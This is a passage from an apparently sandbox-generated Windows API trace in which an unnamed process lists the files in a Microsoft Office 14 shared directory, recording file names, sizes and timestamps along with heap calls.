ftCreationTime.dwLowDateTime=0x703dbc00, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xd80a4ee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x703dbc00, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x310788, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACECORE.DLL", cAlternateFileName="")) returned 1 [0218.355] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd80f11a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xb5db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEDAO.DLL", cAlternateFileName="")) returned 1 [0218.355] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xa990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEERR.DLL", cAlternateFileName="")) returned 1 [0218.356] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xf73a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEES.DLL", cAlternateFileName="")) returned 1 [0218.356] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x6bfa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEEXCH.DLL", cAlternateFileName="")) returned 1 [0218.356] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xdbb98, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEEXCL.DLL", cAlternateFileName="")) returned 1 [0218.357] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x53bb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODBC.DLL", cAlternateFileName="")) returned 1 [0218.357] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODDBS.DLL", cAlternateFileName="")) returned 1 [0218.357] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODEXL.DLL", cAlternateFileName="")) returned 1 [0218.357] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODTXT.DLL", cAlternateFileName="")) returned 1 [0218.358] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8189720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x833a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEOLEDB.DLL", cAlternateFileName="")) returned 1 [0218.358] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96faef00, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd8247e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x96faef00, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x6e398, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACER3X.DLL", cAlternateFileName="")) returned 1 [0218.358] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0xd9c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACERCLR.DLL", cAlternateFileName="")) returned 1 [0218.359] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xa8da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEREP.DLL", cAlternateFileName="")) returned 1 [0218.359] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82940c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x48990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACETXT.DLL", cAlternateFileName="")) returned 1 [0218.359] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1092c00, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xd82ba220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1092c00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x2e8da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWDAT.DLL", cAlternateFileName="")) returned 1 [0218.359] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e0c9f00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xcf0c7d40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8e0c9f00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x4dba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWSS.DLL", cAlternateFileName="")) returned 1 [0218.360] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82e0380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x7a998, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEXBE.DLL", cAlternateFileName="")) returned 1 [0218.360] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67c38700, ftCreationTime.dwHighDateTime=0x1cbc9fc, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x67c38700, ftLastWriteTime.dwHighDateTime=0x1cbc9fc, nFileSizeHigh=0x0, nFileSizeLow=0x5e158, dwReserved0=0x0, dwReserved1=0x0, cFileName="ATLCONV.DLL", cAlternateFileName="")) returned 1 [0218.360] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb10f7500, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0xda5b0540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb10f7500, ftLastWriteTime.dwHighDateTime=0x1cbe56c, nFileSizeHigh=0x0, nFileSizeLow=0x4d67b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Csi.dll", cAlternateFileName="")) returned 1 [0218.361] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef87d800, ftCreationTime.dwHighDateTime=0x1cb8cce, ftLastAccessTime.dwLowDateTime=0xda5d66a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xef87d800, ftLastWriteTime.dwHighDateTime=0x1cb8cce, nFileSizeHigh=0x0, nFileSizeLow=0x1b3980, dwReserved0=0x0, dwReserved1=0x0, cFileName="CsiSoap.dll", cAlternateFileName="")) returned 1 [0218.361] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cultures", cAlternateFileName="")) returned 1 [0218.361] GetProcessHeap () returned 0x560000 [0218.361] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bc9a78 [0218.361] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc88 [0218.362] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.362] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 1 [0218.362] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 0 [0218.362] FindClose (in: hFindFile=0x65bc88 | out: hFindFile=0x65bc88) returned 1 [0218.362] GetProcessHeap () returned 0x560000 [0218.362] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bc9a78 | out: hHeap=0x560000) returned 1 [0218.362] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x7eb48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPSRV.DLL", cAlternateFileName="")) returned 1 [0218.363] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ebd7300, ftCreationTime.dwHighDateTime=0x1cba5c3, ftLastAccessTime.dwLowDateTime=0xcef710e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3ebd7300, ftLastWriteTime.dwHighDateTime=0x1cba5c3, nFileSizeHigh=0x0, nFileSizeLow=0x21d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXP_PDF.DLL", cAlternateFileName="")) returned 1 [0218.363] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5bf6900, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xcf5b0aa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5bf6900, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x11578, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXP_XPS.DLL", cAlternateFileName="")) returned 1 [0218.363] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd66e7600, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xe572de20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd66e7600, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x26560, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLTLDR.EXE", cAlternateFileName="")) returned 1 [0218.364] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7bf3f00, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x53907610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7bf3f00, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x417360, dwReserved0=0x0, dwReserved1=0x0, cFileName="IACOM2.DLL", cAlternateFileName="")) returned 1 [0218.364] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x31d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICLUA.EXE", cAlternateFileName="")) returned 1 [0218.364] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc821f600, ftCreationTime.dwHighDateTime=0x1cbdfb3, ftLastAccessTime.dwLowDateTime=0xd776b9a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc821f600, ftLastWriteTime.dwHighDateTime=0x1cbdfb3, nFileSizeHigh=0x0, nFileSizeLow=0x183d780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.DLL", cAlternateFileName="")) returned 1 [0218.365] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee94c400, ftCreationTime.dwHighDateTime=0x1cb7007, ftLastAccessTime.dwLowDateTime=0xd6225500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xee94c400, ftLastWriteTime.dwHighDateTime=0x1cb7007, nFileSizeHigh=0x0, nFileSizeLow=0x73b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOICONS.EXE", cAlternateFileName="")) returned 1 [0218.365] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xec32f3e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x4529780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSORES.DLL", cAlternateFileName="")) returned 1 [0218.365] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4293d00, ftCreationTime.dwHighDateTime=0x1cbc468, ftLastAccessTime.dwLowDateTime=0xd77dddc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa4293d00, ftLastWriteTime.dwHighDateTime=0x1cbc468, nFileSizeHigh=0x0, nFileSizeLow=0x135f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoshext.dll", cAlternateFileName="")) returned 1 [0218.366] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc276d800, ftCreationTime.dwHighDateTime=0x1cab8aa, ftLastAccessTime.dwLowDateTime=0x6a050eb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc276d800, ftLastWriteTime.dwHighDateTime=0x1cab8aa, nFileSizeHigh=0x0, nFileSizeLow=0xdb50, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXEV.DLL", cAlternateFileName="")) returned 1 [0218.366] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x1d950, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXMLED.EXE", cAlternateFileName="")) returned 1 [0218.366] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0xdb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXMLMF.DLL", cAlternateFileName="")) returned 1 [0218.367] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3922200, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3922200, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x124980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPTLS.DLL", cAlternateFileName="")) returned 1 [0218.367] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xac370, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSOAP30.DLL", cAlternateFileName="")) returned 1 [0218.367] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x1a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MUAUTH.CAB", cAlternateFileName="")) returned 1 [0218.367] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x6190, dwReserved0=0x0, dwReserved1=0x0, cFileName="MUOPTIN.DLL", cAlternateFileName="")) returned 1 [0218.368] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x161d5800, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xd63a22c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x161d5800, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x38d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oarpmany.exe", cAlternateFileName="")) returned 1 [0218.368] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f9d2900, ftCreationTime.dwHighDateTime=0x1cab9ac, ftLastAccessTime.dwLowDateTime=0xbe0f9da0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7f9d2900, ftLastWriteTime.dwHighDateTime=0x1cab9ac, nFileSizeHigh=0x0, nFileSizeLow=0x7568, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODBCMON.DLL", cAlternateFileName="")) returned 1 [0218.368] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 1 [0218.369] GetProcessHeap () returned 0x560000 [0218.369] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bc9a78 [0218.369] FindFirstFileW (in: 